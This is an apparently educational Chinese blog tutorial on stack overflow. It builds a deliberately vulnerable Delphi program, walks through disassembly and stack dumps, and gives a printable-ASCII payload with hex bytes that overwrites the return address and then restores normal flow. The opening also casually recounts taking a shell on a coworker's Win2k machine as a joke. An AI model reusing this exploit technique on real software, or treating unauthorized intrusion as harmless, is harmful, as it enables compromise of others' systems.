前两天利用sqlhello溢出漏洞工具跟局域网里面的同事开了个玩笑,取得了他win2k的shell,
于是乎也想玩一下溢出。首先用Delphi写个有漏洞的程序。
  如果不检查输入字串的长度,哪么输入的字串长度大于变量预定的范围就产生溢出了。
procedure TForm1.Button1Click(Sender: TObject);
var name:array[0..255]of char;
begin
strcopy(name,PChar(Edit1.Text)); //Edit1的内容是256+6个字符,最后6个字符:Hello.
end;
整个过程的代码:
0044F02C   55         PUSH EBP
0044F02D   8BEC         MOV EBP,ESP
0044F02F   81C4 FCFEFFFF   ADD ESP,-104 
0044F035   53         PUSH EBX
0044F036   33C9         XOR ECX,ECX
0044F038   898D FCFEFFFF   MOV DWORD PTR SS:[EBP-104],ECX
0044F03E   8BD8         MOV EBX,EAX
0044F040   33C0         XOR EAX,EAX
0044F042   55         PUSH EBP
0044F043   68 90F04400   PUSH Project1.0044F090
0044F048   64:FF30       PUSH DWORD PTR FS:[EAX]
0044F04B   64:8920       MOV DWORD PTR FS:[EAX],ESP
0044F04E   8D95 FCFEFFFF   LEA EDX,DWORD PTR SS:[EBP-104]
0044F054   8B83 FC020000   MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A   E8 DDF3FDFF   CALL Project1.0042E43C
0044F05F   8B85 FCFEFFFF   MOV EAX,DWORD PTR SS:[EBP-104]
0044F065   E8 6652FBFF   CALL Project1.004042D0
0044F06A   8BD0         MOV EDX,EAX
0044F06C   8D85 00FFFFFF   LEA EAX,DWORD PTR SS:[EBP-100]
0044F072   E8 F590FBFF   CALL Project1.0040816C       ==strcopy,将Edit1的文本内容复制到局部变量name中,Delphi的局部变量就在栈中
0044F077   33C0         XOR EAX,EAX
0044F079   5A         POP EDX
0044F07A   59         POP ECX
0044F07B   59         POP ECX
0044F07C   64:8910       MOV DWORD PTR FS:[EAX],EDX
0044F07F   68 97F04400   PUSH Project1.0044F097
0044F084   8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A   E8 814DFBFF   CALL Project1.00403E10
0044F08F   C3         RETN
0044F090 ^ E9 7F47FBFF   JMP Project1.00403814
0044F095 ^ EB ED       JMP SHORT Project1.0044F084
0044F097   5B         POP EBX
0044F098   8BE5         MOV ESP,EBP
0044F09A   5D         POP EBP
0044F09B   C3         RETN       ==过程的最后返回点
  执行call 40816c(strcopy)之后,
正常栈内容:
0012F538   0012F97C Pointer to next SEH record
0012F53C   0044F090 SE handler
0012F540   0012F64C
0012F544   00953788
0012F548   00000000
0012F54C   00000000
//...
0012F63C |0000002D
0012F640 |00000002
0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC
0012F648 |004280B4 Project1.004280B4
0012F64C ]0012F78C
0012F650 |0042F9D6 RETURN to Project1.0042F9D6       ==这里是函数的正常出口
溢出后:
0012F538   0012F97C Pointer to next SEH record
0012F53C   0044F090 SE handler
0012F540   0012F64C ASCII "Hello." ==溢出了6字节
0012F544   00953788
0012F548   00952594 ASCII ""...
0012F54C   31313131 ==字串开始
//...
0012F63C   35353535
0012F640   35353535
0012F644   36363535
0012F648   36363636
0012F64C   6C6C6548
0012F650   00002E6F ==溢出的内容已经覆盖了返回地址,函数将会返回到2e6f。
  
  好了,现在我们只要把12f650的内容变成12f54c,程序就会返回到我们输入的
字符串,然后执行。我们只要精心构造一个字符串放到Edit1中,字符串就成为我们
的代码了。输入的字符串要做的工作只是恢复正常的程序流程,工作很简单,有256
个字节的空间足够了。
  主要代码:
  BD 8CF71230   MOV EBP,3012F78C ==代码中不能有00,因为strcopy会认为是00字符串结束,就不能形成溢出了
  C1E5 08       SHL EBP,8       ==用变通的方法生成0012f78c之类的地址,另外f7,c3之类的数据在复制成ASCII
  C1ED 08       SHR EBP,8       ==时会变成?,也要用变通的方法处理一下
  B8 D6F94230   MOV EAX,3042F9D6
  C1E0 08       SHL EAX,8
  C1E8 08       SHR EAX,8
  50         PUSH EAX
  C3         RETN
  经过一番测试之后,代码就可以写出来了。
  再加上结尾的内容12f54c(让程序返回到我们的溢出代码),可是4cf512不能正常复制出ASCII出来,只好另想办法了,实验一下12f59d(9df512)就能正常复制出ASCII,哪么我们在12f59d的位置上再放几行代码转到12f54c就OK了(当然也可以直接在12f59d恢复EBP和返回程序流程,个人喜好)。
0012F54C   8040 32 80     ADD BYTE PTR DS:[EAX+32],80   ==变通处理mov ebp,3012f78c中的f7,程序执行到这里时EAX=12f548
0012F550   8040 47 60     ADD BYTE PTR DS:[EAX+47],60   ==变通处理retn
0012F554   41           INC ECX               ==相当于NOP,ASCII ’A’
0012F555   41           INC ECX
0012F556   41           INC ECX
0012F557   41           INC ECX
0012F558   41           INC ECX
0012F559   41           INC ECX
0012F55A   41           INC ECX
0012F55B   41           INC ECX
0012F55C   41           INC ECX
0012F55D   41           INC ECX
0012F55E   41           INC ECX
0012F55F   41           INC ECX
0012F560   41           INC ECX
0012F561   41           INC ECX
0012F562   41           INC ECX
0012F563   41           INC ECX
0012F564   41           INC ECX
0012F565   41           INC ECX
0012F566   41           INC ECX
0012F567   41           INC ECX
0012F568   41           INC ECX
0012F569   41           INC ECX
0012F56A   41           INC ECX
0012F56B   41           INC ECX
0012F56C   41           INC ECX
0012F56D   41           INC ECX
0012F56E   41           INC ECX
0012F56F   41           INC ECX
0012F570   41           INC ECX
0012F571   41           INC ECX
0012F572   41           INC ECX
0012F573   41           INC ECX
0012F574   41           INC ECX
0012F575   41           INC ECX
0012F576   41           INC ECX
0012F577   41           INC ECX
0012F578   BD 8C771230     MOV EBP,3012778C ==77将被改成f7
0012F57D   C1E5 08       SHL EBP,8
0012F580   C1ED 08       SHR EBP,8       ==mov ebp,12f78c 恢复ebp
0012F583   B8 D6F94230     MOV EAX,3042F9D6
0012F588   C1E0 08       SHL EAX,8
0012F58B   C1E8 08       SHR EAX,8
0012F58E   50           PUSH EAX       ==让程序返回到42f9d6
0012F58F   6337         ARPL WORD PTR DS:[EDI],SI ==这里将被上面的代码改成retn
0012F591   41           INC ECX
0012F592   41           INC ECX
0012F593   41           INC ECX
0012F594   41           INC ECX
0012F595   41           INC ECX
0012F596   41           INC ECX
0012F597   41           INC ECX
0012F598   41           INC ECX
0012F599   41           INC ECX
0012F59A   41           INC ECX
0012F59B   41           INC ECX
0012F59C   41           INC ECX
0012F59D   8040 62 80     ADD BYTE PTR DS:[EAX+62],80   ==溢出代码入口,先恢复下面的指令
0012F5A1   66:8140 6B A080   ADD WORD PTR DS:[EAX+6B],80A0
0012F5A7   41           INC ECX
0012F5A8   B9 4C751230     MOV ECX,3012754C ==mov ecx,3012f54c
0012F5AD   C1E1 08       SHL ECX,8
0012F5B0   C1E9 08       SHR ECX,8 ==ecx=12f54c
0012F5B3   5F           POP EDI   ==恢复后:jmp ecx
0012F5B4   61           POPAD

二进制值(方便我测试用的)
80 40 32 80 80 40 47 60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 C1 E0 08 C1
E8 08 50 63 37 41 41 41 41 41 41 41 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 B9 4C 75 12
30 C1 E1 08 C1 E9 08 5F 61

  把这个长度为263个字符的串复制到Edit1中,按下按钮,没有弹出出错框,
我们成功进行了一次溢出之旅:)
      后记:因为只是在Edit1中输入字串,只能用可以显示出来的字串,所以整个
过程复杂了许多,而在真正的溢出漏洞通常都是直接向某个函数或进程发送数据
产生溢出,只需考虑串中没有00就可以,方便直接很多。这篇贴子只能算是用来
介绍溢出机制(这种是栈溢出,还有几种溢出类型,网上介绍很多),执行了的
我们的代码都是简简单单的,要做到溢出后取得shell等等工作还不是我这菜鸟可
以的。